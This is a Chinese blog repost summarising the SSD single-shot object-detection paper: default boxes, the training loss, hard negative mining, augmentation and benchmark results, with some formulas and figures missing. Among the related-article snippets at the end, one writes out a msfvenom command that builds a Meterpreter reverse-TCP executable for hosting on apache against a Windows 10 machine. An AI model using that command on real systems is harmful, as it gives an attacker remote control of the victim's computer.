SSD详解

news/2024/4/30 2:52:36/文章来源:https://blog.csdn.net/qq_52053775/article/details/127144280

论文地址:SSD: Single Shot MultiBox Detector | SpringerLink

1.Abstract

        SSD将不同的高宽比和比例的边界框的输出空间离散为一组默认框。在预测时,网络为每个默认框中每个对象类别的存在生成分数,并对该框进行调整,以更好地匹配对象形状。此外,该网络结合了来自不同分辨率的多个特征地图的预测,以自然地处理不同大小的对象。、SSD完全消除了建议生成和后续的像素或特征重采样阶段,因此,SSD网络结构更简单

2. Introduction

        二阶段算法速度太慢。通常这些方法的检测速度以每帧秒为单位(SPF),Faster R-CNN,也只能以每秒7帧(FPS)运行。单阶段算法已经被提出(如yolo v1,overfeat),但精度太低。

        因此,本文中,作者提出了SSD算法,改进包括使用一个小的卷积滤波器来预测边界框位置中的对象类别和偏移量,对不同的纵横比检测使用单独的预测器(过滤器),并将这些滤波器应用于网络后期的多个特征映射,以便在多个尺度上执行检测。通过这些修改——特别是在不同尺度上使用多层进行预测——可以使用相对较低分辨率的输入来实现高精度,进一步提高检测速度。 

        贡献如下:

       作者引入了SSD,这是一种用于多个类别的单镜头探测器,它比之前最先进的单镜头探测器(YOLO)更快,而且明显更准确,精确度可以与Faster RCNN相媲美。

        SSD的核心是使用应用于特征映射的小卷积滤波器来预测一组固定的默认边界框的类别分数和方框偏移量。

        为了获得较高的检测精度,SSD从不同尺度的特征图中生成不同尺度的预测,并通过长宽比明确地分离预测。

        这些设计特点导致了简单的端到端训练和高精度,甚至在低分辨率的输入图像上,进一步提高了速度和准确性的权衡。

2 The Single Shot Detector (SSD)

2.1 Model          

        SSD方法基于前馈卷积网络,该网络生成固定大小的边界框集合,并获得这些框中对象类实例的分数,然后通过非最大抑制步骤产生最终的检测。基础网络采用图像分类高质量网络,然后,向网络中添加辅助结构,以产生具有关键特征的检测: 

        Multi-scale feature maps for detection  在被截断的图像分类基础网络的末端添加了卷积特征层。这些层的大小逐渐减小,并允许在多个尺度的特征图上预测检测。

        Convolutional predictors for detection 每个添加的特征层(或可选地是来自基础网络的现有特征层)都可以使用一组卷积滤波器生成一组固定的检测预测。这些都显示在图2中的SSD网络架构的顶部。对于p通道的m*n特征层,预测的基本模块是3×3×p小内核卷积,它产生一个类别的分数,或相对于默认框坐标的形状偏移。在应用内核的每个m×n个位置,它产生一个输出值。边界框偏移输出值是相对于相对于每个特征图位置的默认框位置来测量的(参见YOLO[5]的架构,它在此步骤中使用中间全连接层而不是卷积滤波器)。

        

        Default boxes and aspect ratios  将一组默认的边界框与每个特征映射单元格关联起来,用于位于网络顶部的多个特征映射。默认的框以卷积的方式平铺特征贴图,这样每个框相对于其对应单元格的位置就是固定的。在每个特征映射单元格中,预测相对于单元格中默认框形状的偏移量,以及指示每个框中存在类实例的每个类分数。具体来说,对于给定位置的k中的每个框,我们计算c类分数和相对于原始默认框形状的4个偏移量。这导致在特征图中的每个位置周围应用了总共(c + 4)*k个滤波器,产生(c + 4)*kmn输出。有关默认方框的说明,请参见图1。默认框类似于Faster R-CNN [2]中使用的锚框,但是SSD将它们应用于几个不同分辨率的特征图。允许在几个特征图中使用不同的默认框形状,可以有效地离散可能的输出框形状的空间。

2.2 Training          

        Matching strategy  在训练过程中,需要确定哪些默认方框对应于地面真实检测,并相应地训练网络。对于每个地面真实框,从不同位置、高宽比和比例的默认框中进行选择。首先将每个地面真实框与具有最佳jaccard overlap的默认框进行匹配(如MultiBox [7])。与MultiBox不同的是,SSD匹配默认框与任何jaccard重叠高于阈值(0.5)。这简化了学习问题,允许网络预测多个重叠的默认框的高分,而不是要求它只选择具有最大重叠的默认框。 

        Training objective  SSD训练目标来源于MultiBox目标[7,8],但被扩展到处理多个对象类别。设作为将第i个默认框与第p类的第j个地面真实框相匹配的指示器。在上述匹配策略中,可以有。总体目标损失函数是局部损失(loc)和置信损失(conf)的加权和:

        其中,N是匹配的默认方框的数量。如果N=为0,则将损失设置为0。loc损失是预测框(l)和地面真实框(g)参数之间的smooth L1损失[6]。与Faster R-CNN [2]类似,SSD回归到默认边界框(d)的中心(cx,cy)及其宽度(w)和高度(h)的偏移量。 

        置信损失是多个类置信(c).的softmax损失 

        通过交叉验证,权重项α设为1。

        Choosing scales and aspect ratios for default boxes  为了处理不同的对象尺度,通过利用单个网络中来自多个不同层的特征图进行预测

        来自网络中不同层次的特征图具有不同的(经验的)感受野大小[13]。在SSD框架中,默认框不需要对应于每一层的实际接受域。通过设计默认框的平铺以应对不同比例的真值框。假设想使用m个特征映射来进行预测。每个特征映射的默认方框的比例计算为:

        其中smin为0.2,smax为0.9,即最低层的比例为0.2,最高层的比例为0.9,介于两者之间的所有层都有规律地间隔。对默认方框施加不同的高宽比,并将它们表示为。可以计算每个默认方框的宽度和高度。对于高宽比为1,还添加了一个默认框,其比例为,导致每个特征图位置有6个默认框。将每个默认框的中心设置为,其中|fk|是第k个平方特征图的大小,i,j∈[0,|fk|)。在实践中,还可以设计一个默认框的分布,以最适合特定的数据集。如何设计最优的平铺也是一个有待解决的问题。 

        Hard negative mining  在匹配步骤之后,大多数默认框都是负的,特别是当可能的默认框的数量很大时。这就引入了正类和负类训练例子之间的显著不平衡。SSD没有使用所有负的负面例子,而是使用每个默认框的最高置信损失对它们进行排序,并选择顶部的,使负和正之间的比率最多为3:1。实验发现,这会导致更快的优化和更稳定的训练。

        Data augmentation  为了使模型对不同输入对象大小和形状的鲁棒性,每个训练图像随机进行采样:

        使用整个原始输入图像。 

        采样一个补丁,使与对象重叠的最小间隙为0.1、0.3、0.5、0.7或0.9。

        随机抽样一个补丁。

        每个采样补丁的大小为原始图像大小的[0.1,1],长宽比在12到2之间。如果地面真值框的中心在采样补丁中,保留它的重叠部分。在上述采样步骤之后,每个采样的补丁被调整到固定的大小,并以0.5的概率水平翻转,除了应用一些类似于[14]中描述的光度量畸变。

3 Experimental Results          

3.1 PASCAL VOC2007          

        在这个数据集上,与Fast R-CNN [6]和Faster R-CNN [2]在VOC2007测试上(4952张图像)进行了比较。所有方法都在同一预训练的VGG16网络上进行微调。 

         

        图3显示,SSD可以检测出高质量(较大的白色区域)的各种对象类别。它的大部分可靠的检测结果都是正确的。召回率约为85-90%,在“弱”(0.1 jaccard  overlap)的标准下,召回率要高得多。与R-CNN [22]相比,SSD的定位误差更小,说明SSD可以更好地定位对象,因为它直接学习回归对象形状和对对象类别进行分类,而不是使用两个解耦的步骤。然而,SSD与类似的对象类别(尤其是动物)有更多的困惑,部分原因是我们为多个类别共享位置。图4显示了SSD对边界框的大小非常敏感。换句话说,它在较小的物体上比较大的物体表现得差得多。这并不奇怪,因为这些小物体甚至可能在最顶层没有任何信息。增加输入大小(例如,从300×300到512×512)可以帮助改善对小物体的检测,但仍有很大的改进空间。在积极的方面,可以清楚地看到,SSD在大型物体上表现得非常好。而且它对不同的对象高宽比非常健壮,因为SSD使用每个特征映射位置的不同高宽比的默认框。 

 

3.2 Model analysis 

        数据增强至关重要。表2显示,我们使用该图像增强策略可以提高8.8%的mAP。

        更丰富的默认的框形状更好。默认情况下,每个位置使用6个默认框。如果我们去掉具有1/3和3个长宽比的方框,性能就会下降0.6%。通过进一步去除具有1/2个和2个长宽比的方框,性能又下降了2.1%。使用各种默认的框形状似乎使网络预测框的任务更容易。

        使用空洞卷积速度更快。SSD遵循DeepLab-LargeFOV [17],在VGG16使用了类似的空洞卷积。如果使用完整的VGG16,保持池5有2×2−2,而不是fc6和fc7的子采样参数,并添加conv5 3进行预测,结果大致相同,而速度慢约20%。

         

        在不同分辨率下的多个输出层效果更好。

3.3 PASCAL VOC2012 

         

3.4 COCO  

         

 

 

 

 

 

 

 

        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17653.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CMake中macro的使用

在https://blog.csdn.net/fengbingchun/article/details/127144948 中介绍了CMake中function的使用&#xff0c;这里介绍下macro的使用&#xff0c;它与function有很多的相似性。 macro的定义格式如下&#xff1a;后面可作为命令供调用 macro(<name> [<arg1> ...]…

DB2在Linux下静默安装

目录前言1. 下载并上传db2压缩包到Linux2. 检测db2安装环境3. 安装db2数据库软件4. 配置db2数据库系统用户5. 创建数据库实例6. 配置TCP/IP通信服务7. 配置数据库8. 启动和关闭数据库实例9. 修改权限10 数据库客户端和工具链接11. 创建数据库多实例前言 db2是IBM公司开发的一款…

【C++】AVL树模拟实现

文章目录AVLTree概念AVLTree插入实现AVLTree测试AVLTree的性能AVLTree概念 AVLTree&#xff08;搜索平衡二叉树&#xff09; 性质一&#xff1a;每一个节点的左右子树都是AVLTree 性质二&#xff1a;每个节点左右子树高度只差不超过1 优点&#xff1a;提高查找效率&#xff0c…

python容器

1.什么是数据容器&#xff1a; 一种可以存储多个元素Python数据类型 2.Python有哪些数据容器 列表list 元祖tuple 字符串str 集合set 字典dict 一&#xff1a;列表 list 可以容纳多个元素(上限2**63-1)可以容纳不同类型的元素数据是有序存储的&#xff08;索引&#xff09;允许…

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

&#x1f60d;&#x1f60d;&#x1f60d;更多精彩福利&#x1f60d;&#x1f60d;&#x1f60d; 三维重建经典算法 1. ICP 迭代最近点算法&#xff08;Iterative Closest Point, ICP&#xff09;是一种点云配准算法&#xff0c;用来求解两堆点云之间的变换关系&#xff1a;…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列&#xff08;一&#xff09;mysql体系结构和存储引擎MySQL怎么运行的系列&#xff08;二&#xff09;Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列&#xff08;三&#xff09;InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动&#xff0c;扫描得到所有BeanDefinition之后&#xff0c;就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里&#xff1a; org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性&#xff1b;一起来学习摘自百度词条的信息&#xff1a; 图形用户界面&#xff08;Graphical User Interface&#xff0c;简称 GUI&#xff0c;又称图形用户接口&#xff09;是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化&#xff1a;CommonJS规范》文中对CMD规范进行了介绍&#xff0c;并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲&#xff0c;CommonJS这种模块化规范更加适用于服务器端编程&#xff0c;由于是同步的加载方式&#x…